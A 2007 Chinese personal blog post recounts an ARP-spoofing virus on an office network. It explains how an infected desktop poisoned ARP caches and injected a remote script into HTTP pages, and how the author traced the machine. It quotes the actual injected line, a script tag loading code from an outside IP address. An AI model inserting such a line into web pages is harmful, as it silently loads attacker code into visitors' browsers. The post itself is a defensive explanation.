August 23, 2007
遭遇ARP欺骗病毒
一早上内部办公系统访问起来就很怪异,不是编码错误,就是CSS加载不正常。我去开会,网管就开始胡乱修改配置。直到到中午回到办公桌,打开页面看源码,发现代码头一行被加上了下面的内容。
<script src=http://66.186.33.44/n.js></script>
第一反应是网通干的流氓事。但是访问外部网站没有这个症状,说明他们还没屎到这个地步。上网继续搜搜,很多人都遇到同样的事情,说是”ora.3168a.com”病毒。是一种arp欺骗的病毒。不过也没谁说清其中的原理或者解决办法。
实际上原理也不复杂。
- LAN上任意一台计算机(不一定是服务器),比如是192.168.0.64,中了这种病毒后,就开始疯狂发送arp的广播包,说:“192.168.0.1的mac地址是 xx-xx-xx-xx-xA”。因为在链路层上,所有的机器只能靠这种广播来识别ip所对应的物理地址,所以每台机器的arp缓存中,都记录下了“192.168.0.1的mac地址是 xx-xx-xx-xx-xA”。
- 这个192.168.0.1实际上是网关或者其他服务器。虽然它也时不时广播一下自己的真实mac地址:“192.168.0.1的mac地址是 xx-xx-xx-xx-xB”,但是早就被192.168.0.64的疯狂喊叫淹没了。
- 然后其他计算机想把包发送给网管或者服务器192.168.0.1的时候,按照他们已经获得的信息,就在链路层上将包发给了xx-xx-xx-xx-xA。那么这个xx-xx-xx-xx-xA到底是谁呢?嘿嘿,正是坏蛋
192.168.0.64。
- 192.168.0.64真是个不折不扣的坏蛋。它把别的机器发给192.168.0.1的包都给收到之后,看看是不是http包,是的话就在前面加进去了前面看到的”script”那一句。然后再偷偷摸摸的按照xx-xx-xx-xx-xB转发给了网关。
用抓包软件可以看到xx-xx-xx-xx-xA在不停的发送上面的ARP包,可是比较难查到这台机器的IP或主机名。arp -a也不行。解决的办法从根本上讲,有三个个:
- 对于每个局域网上的ip,运行”arp ip”,看看得到的mac地址是不是xx-xx-xx-xx-xA。
- 每台机器挨个查看mac地址。
- 分区断网,缩小范围查找。(特务找电台)
不过发现了 nbtscan 这个工具,可以直接解决这个问题。
最后发现,是外地实验室一个哥们儿过来出差,没有笔记本,就把他的台式机(已中毒)端过来插到办公室的网络上了…
开始说怀疑网通电信这帮服务商会干这个事,其实一点也不冤枉他们。他们不用ARP欺骗,因为所有的包都要经过他们的路由器,丫的直接往里塞东西就行了。
想起来一个不着调的事情,就是在高中,有位中年女老师不太招人喜欢,于是我们就叫她“马头人”。实际上这位老师姓徐。我们每天都不停地呱呱呱地广播着这个外号,终于有一天,一位新警察同学找这位老师有事,张嘴就是“马老师,有点事情找您…”
Filed by
charlie
at 11:41 pm under Network
